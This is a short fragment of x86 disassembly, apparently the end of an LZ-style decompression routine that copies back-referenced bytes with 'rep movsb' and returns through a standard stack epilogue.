jb 0x1b7f6c5
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b7f5dd
cmp eax, 0x7f
ja 0x1b7f6cd
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b7f5dd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1b7f6f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b7f5dd
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8